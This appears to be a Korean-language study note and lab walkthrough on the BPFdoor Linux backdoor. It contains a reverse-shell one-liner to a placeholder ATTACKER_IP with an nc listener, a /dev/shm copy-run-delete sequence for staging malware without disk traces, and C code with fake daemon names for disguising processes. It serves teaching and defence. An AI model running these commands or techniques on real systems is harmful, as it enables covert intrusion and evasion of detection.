BPFdoor

πŸ› οΈ BPF (Berkeley Packet Filter)

BPFλŠ” μœ μ € λͺ¨λ“œ ν”„λ‘œκ·Έλž¨μ΄ λ„€νŠΈμ›Œν¬ 필터에 μ–΄νƒœμΉ˜ν•˜μ—¬ μ†ŒμΌ“μ„ 톡해 λ“€μ–΄μ˜€λŠ” 데이터λ₯Ό ν—ˆμš©ν•˜κ±°λ‚˜ κ±°λΆ€ν•  수 있게 ν—ˆμš©ν•΄ μ£ΌλŠ” κΈ°μˆ μ΄λ‹€. 즉 μ‹€ν–‰ 쀑인 ν”„λ‘œκ·Έλž¨μ΄ μ‚¬μš© 쀑인 λ„€νŠΈμ›Œν¬ μ†ŒμΌ“μ— νŒ¨ν‚· 필터링 룰을 등둝할 수 있으며 이λ₯Ό 톡해 데이터λ₯Ό μ½κ±°λ‚˜ μ•Œλ¦Όμ„ 받을 수 μžˆλ‹€.

1992년에 κ°œλ°œλ˜μ–΄ νŒ¨ν‚· ν•„ν„°λ‘œ νŒ¨ν‚·μ„ λΆ„μ„ν•˜κ³  ν•„ν„°λ§ν•˜λŠ”λ°μ— μ‚¬μš©λ˜λŠ” in-kernel virtual machine으둜 BSDμ—μ„œ 처음으둜 λ„μž…ν•˜μ˜€λ‹€. λ„€νŠΈμ›Œν¬ 뢄석 도ꡬ (예: tcpdump, wireshark)λŠ” λŒ€λŸ‰μ˜ νŒ¨ν‚· μ€‘μ—μ„œ 관심 μžˆλŠ” νŒ¨ν‚·λ§Œ λΉ λ₯΄κ²Œ μΆ”μΆœν•΄μ•Ό ν•©λ‹ˆλ‹€. λͺ¨λ“  νŒ¨ν‚·μ„ μ‚¬μš©μž κ³΅κ°„μœΌλ‘œ 가져와 ν•„ν„°λ§ν•˜λ©΄ μ„±λŠ₯이 맀우 λ‚˜λΉ μ§‘λ‹ˆλ‹€.

λ”°λΌμ„œ μ»€λ„λ ˆλ²¨μ—μ„œ λ¨Όμ € 필터링 ν•˜κ³  ν•„μš”ν•œ νŒ¨ν‚·λ§Œ μœ μ € κ³΅κ°„μœΌλ‘œ μ „λ‹¬ν•˜λŠ” BPFκ°€ λ“±μž₯ν•˜μ˜€λ‹€

πŸ”‘ BPF Backdoor

BPFλŠ” 컀널 λ„€νŠΈμ›Œν¬ μŠ€νƒμ˜ μ΄ˆκΈ°λ‹¨κ³„ socket이전에 필터링이 κ°€λŠ₯ν•˜λ‹€. λ”°λΌμ„œ 포트λ₯Ό λ¦¬μŠ¨ν•˜μ§€ μ•Šμ•„λ„ νŒ¨ν‚·μ„ κ°€λ‘œμ±„λŠ”κ²ƒμ΄ κ°€λŠ₯ν•˜λ‹€

λ”°λΌμ„œ

  • λ¦¬μŠ€λ‹ 포트 μ—†μŒ: 외뢀에 λ…ΈμΆœλ˜λŠ” 포트 μ—†μŒ
  • Fileless: λ””μŠ€ν¬μ— 흔적을 λ‚¨κΈ°μ§€μ•ŠμŒ
  • μ»€λ„μˆ˜μ€€μ—μ„œ νŠΉμ • νŒ¨ν‚·λ§Œ μˆ˜μ‹ 
  • RC4 μ•”ν˜Έν™” 톡신
  • iptable κ·œμΉ™ μ‘°μž‘μœΌλ‘œ 포트 λ¦¬λ‹€μ΄λ ‰μ…˜
  • μ‹œμŠ€ν…œ 데λͺ¬μ΄λ¦„μœΌλ‘œ ν”„λ‘œμ„ΈμŠ€ μœ„μž₯

πŸ”§ νŠΉμ§•

  • μ„€μΉ˜ μœ„μΉ˜: λ¦¬λˆ…μŠ€ μ‹œμŠ€ν…œ (일반적으둜 λ°±κ·ΈλΌμš΄λ“œ ν”„λ‘œμ„ΈμŠ€)
  • λ™μž‘ 방식: eBPF둜 νŒ¨ν‚· 검사 β†’ νŠΉμ • μ‹œκ·Έλ‹ˆμ²˜κ°€ λ“€μ–΄μ˜€λ©΄ μ‰˜ μ‹€ν–‰
  • κΈ°λŠ₯: λͺ…λ Ήμ–΄ μ‹€ν–‰, μ—­λ°©ν–₯ μ‰˜, ν¬νŠΈλ¦¬μŠ€λ‹ 없이 λͺ…λ Ή μˆ˜μ‹ 
  • μ ‘κ·Ό 방법: 비정상적인 TCP/UDP νŒ¨ν‚· 이용, 포트 μ—΄μ§€ μ•ŠμŒ
  • 탐지 λ‚œμ΄λ„: 맀우 μ–΄λ ΅λ‹€. λŒ€λΆ€λΆ„μ˜ λ³΄μ•ˆ μ†”λ£¨μ…˜μœΌλ‘œ 탐지 λΆˆκ°€

πŸ”₯ 핡심 차별점

  • λ°©ν™”λ²½ 우회: 방화벽이 μ—΄λ €μžˆμ§€ μ•Šμ•„λ„ λ‚΄λΆ€λ‘œ μ ‘κ·Ό κ°€λŠ₯
  • 둜그 미기둝: 컀널 λ ˆλ²¨μ—μ„œ μˆ˜μ‹  β†’ μ‹œμŠ€ν…œ λ‘œκ·Έμ— 남지 μ•ŠμŒ
  • 포트리슀: λ¦¬μŠ€λ‹ 포트 없이도 λͺ…λ Ή μˆ˜μ‹  (정적 λΆ„μ„μœΌλ‘œλ„ 탐지 어렀움)

Reverse Shell

κ³΅κ²©μžκ°€ ν”Όν•΄μžμ˜ μ»΄ν“¨ν„°λ‘œ μ ‘μ†ν•˜λŠ”κ²ƒμ΄ μ•„λ‹Œ ν”Όν•΄μžμ˜ 컴퓨터가 곡격자의 컴퓨터에 μ ‘μ†ν•˜μ—¬ μ‰˜μ„ μ œκ³΅ν•˜λŠ” 방식

μ•„μ›ƒλ°”μš΄λ“œ μΈλ°”μš΄λ“œ λ³΄μ•ˆμ„ 우회

[ν”Όν•΄μž PC] ➝ 접속 ➝ [곡격자 PC] μ‰˜μ„ μ—΄μ–΄μ€Œ

🧱 2. 전톡적 곡격과의 차이점

λ°©μ‹κ³΅κ²©μž μ—­ν• ν”Όν•΄μž μ—­ν• λ°©ν™”λ²½ 우회
λ°”μΈλ“œ μ‰˜μ—°κ²° μš”μ²­μ„œλ²„μ²˜λŸΌ λŒ€κΈ°(bind)μ–΄λ ΅λ‹€
λ¦¬λ²„μŠ€ μ‰˜λ¦¬μŠ€λ„ˆ(Listen)ν΄λΌμ΄μ–ΈνŠΈμ²˜λŸΌ 연결쉬움 βœ”οΈ
  • Example
  1. 곡격자
nc -lvnp 4444
  1. ν”Όν•΄μž
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 # bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 ==> localhost

Memory based FS

λ¦¬λˆ…μŠ€ μ‹œμŠ€ν…œμ—μ„œ

/dev/shm

κ²½λ‘œλŠ” λ©”λͺ¨λ¦¬ 기반의 파일 μ‹œμŠ€ν…œμœΌλ‘œ 주둜 μž„μ‹œλ°μ΄ν„° μ €μž₯μ΄λ‚˜ μ²˜λ¦¬μ— μ‚¬μš©λœλ‹€ -> λ””μŠ€ν¬μ— κΈ°λ‘λ˜μ§€μ•Šκ³  λ©”λͺ¨λ¦¬μƒμ—μ„œλ§Œ μš΄μ˜λ˜κΈ°μ— 자주 μ•…μš©λœλ‹€

/bin/rm -f /dev/shm/kdmtmpflush; # 파일이 μ‘΄μž¬ν•˜λŠ” 경우 μ§€μš΄λ‹€ -> μ΄ˆκΈ°ν™” λŠλ‚Œ /bin/cp [μ•…μ„±μ½”λ“œ] /dev/shm/kdmtmpflush && # μ•…μ„±μ½”λ“œ λ°”μ΄λ„ˆλ¦¬ 볡사 /bin/chmod 755 /dev/shm/kdmtmpflush && # 파일 μ‹€ν–‰κΆŒν•œ μ„€μ • /dev/shm/kdmtmpflush –init kdmtmpflush && # μ•…μ„±μ½”λ“œ μ‹€ν–‰ /bin/rm -f /dev/shm/kdmtmpflush # 원본은 μ§€μš°κΈ°

❓ μ™œ /dev/shm 인가?

  1. 🧠 λ©”λͺ¨λ¦¬ 기반이라 흔적이 λ””μŠ€ν¬μ— 남지 μ•ŠμŒ
    • /dev/shm은 RAM 기반 μž„μ‹œ νŒŒμΌμ‹œμŠ€ν…œ (tmpfs)μž…λ‹ˆλ‹€.
    • νŒŒμΌμ„ 여기에 λ³΅μ‚¬ν•˜κ³  μ‹€ν–‰ν•˜λ©΄, λ””μŠ€ν¬ I/O 없이 λ©”λͺ¨λ¦¬μ—μ„œ 직접 μ‹€ν–‰λ©λ‹ˆλ‹€.
    • μ‹€ν–‰ ν›„ μ‚­μ œν•˜λ©΄ λ””μŠ€ν¬ ν¬λ Œμ‹, 둜그 기반 탐지에 흔적을 남기지 μ•ŠμŒ.
  2. πŸ•΅οΈ λ””μŠ€ν¬ κ°μ‹œ 탐지 우회
    • /dev/shm은 일반적으둜 덜 κ°μ‹œλ˜λ―€λ‘œ, 여기에 λ³΅μ‚¬ν•˜μ—¬ μ‹€ν–‰ν•˜λ©΄ 탐지 ν™•λ₯ μ΄ 쀄어듦.

πŸͺ– Camouflage

μ •μ‹ νžˆ μžˆλŠ” κ΄€λ¦¬μžλΌλ©΄ 가끔씩 μ–΄λ–€ ν”„λ‘œμ„ΈμŠ€λ“€μ΄ λŒμ•„κ°€κ³  μžˆλŠ”μ§€ 확인을 ν•˜κΈ΄ ν•  것이닀. λ”°λΌμ„œ 해컀듀은 κ·ΈλŸ΄λ“―ν•œ 이름을 톡해 ν”„λ‘œμ„ΈμŠ€λ₯Ό 숨기고자 ν•œλ‹€ μ΄λŠ” prctl() ν•¨μˆ˜λ₯Ό 톡해 ν•  수 μžˆλ‹€

char *self[] = { "/sbin/udevd -d", "/sbin/mingetty /dev/tty7", "/usr/sbin/console-kit-daemon --no-daemon", "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event", "dbus-daemon --system", "hald-runner", "pickup -l -t fifo -u", "avahi-daemon: chroot helper", "/sbin/auditd -n", "/usr/lib/systemd/systemd-journald" };
μœ„μž₯ λ¬Έμžμ—΄μ‹€μ œ μš©λ„μ™œ μœ„μž₯ν• κΉŒ?
/sbin/udevd -dUdev μž₯치 κ΄€λ¦¬μžν•­μƒ μ‹€ν–‰λ˜λ―€λ‘œ λˆˆμ— 띄지 μ•ŠμŒ
/sbin/mingetty /dev/tty7터미널 둜그인 데λͺ¬tty 단말 κ΄€λ ¨, μ΅μˆ™ν•œ 이름
console-kit-daemon둜그인/μ„Έμ…˜ 관리 데λͺ¬GUI μ‹œμŠ€ν…œμ—μ„œ 흔함
dbus-daemon --systemIPC λ©”μ‹œμ§€ λ²„μŠ€ 데λͺ¬ν•­μƒ 싀행됨
hald-runnerHAL ν•˜λ“œμ›¨μ–΄ 좔상화 데λͺ¬μš”μ¦˜μ€ μ‚¬μš© μ•ˆλ˜μ§€λ§Œ 남아 μžˆμ„ 수 있음
auditd -nλ³΄μ•ˆ 감사 데λͺ¬κΆŒν•œ μžˆλŠ” 데λͺ¬, μ˜μ‹¬ μ•ˆ λ°›μŒ
systemd-journaldμ‹œμŠ€ν…œ 둜그 κΈ°λ‘μ™„μ „ν•œ 핡심 ν”„λ‘œμ„ΈμŠ€μ²˜λŸΌ λ³΄μž„
#include <stdio.h> #include <sys/prctl.h> #include <string.h> int main() { const char *new_name = "unsuspicious-name"; if (prctl(PR_SET_NAME, (unsigned long)new_name, 0, 0, 0) == -1) { perror("prctl"); return 1; } // pid 확인 (ps aux | grep '^roh') // λ³€κ²½λœ 이름 확인 (ps -o comm -p <pid>) while(1) { sleep(10); } return 0; }

πŸƒ μ‹€μŠ΅

λ¦¬λˆ…μŠ€ λ¨Έμ‹ μ—μ„œ λ‹€μŒ λ‘νŒŒμΌμ„ 컴파일 bpf trigger

μ‰˜μ„ μ—¬λŸ¬κ°œ μ€€λΉ„ν•˜κ³  곡격자 역할을 ν•  μ‰˜μ—μ„œ nc -lvnp 4444 λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•΄ λ¦¬λ²„μŠ€ μ‰˜ 연결을 λŒ€κΈ°ν•œλ‹€

ν•œ μ‰˜μ—μ„œλŠ” κ΄€λ¦¬μž κΆŒν•œμœΌλ‘œ bpf μ‹€ν–‰ ν•œμ‰˜μ—μ„œλŠ” trigger 트리거λ₯Ό μž‘λ™ν•œλ‹€ 이후 λ¦¬λ²„μŠ€ μ‰˜ 연결이 λ˜λŠ” λͺ¨μŠ΅μ„ ν™•μΈν• μˆ˜ μžˆλ‹€

πŸ’­ κ³ μ°°

주기적으둜 싀행쀑인 ν”„λ‘œμ„ΈμŠ€λ₯Ό μ κ²€ν•΄λ³΄μž

μ•„μ›ƒλ°”μš΄λ“œ 섀정도 μ€‘μš”ν•˜λ‹€

κ·ΈλŸΌμ—λ„ ν„Έλ¦΄μˆ˜μžˆμœΌλ‹ˆ μ€‘μš” λ°μ΄ν„°λŠ” μ•”ν˜Έν™”ν•˜μž


Credits

gwillgues pjt3591oo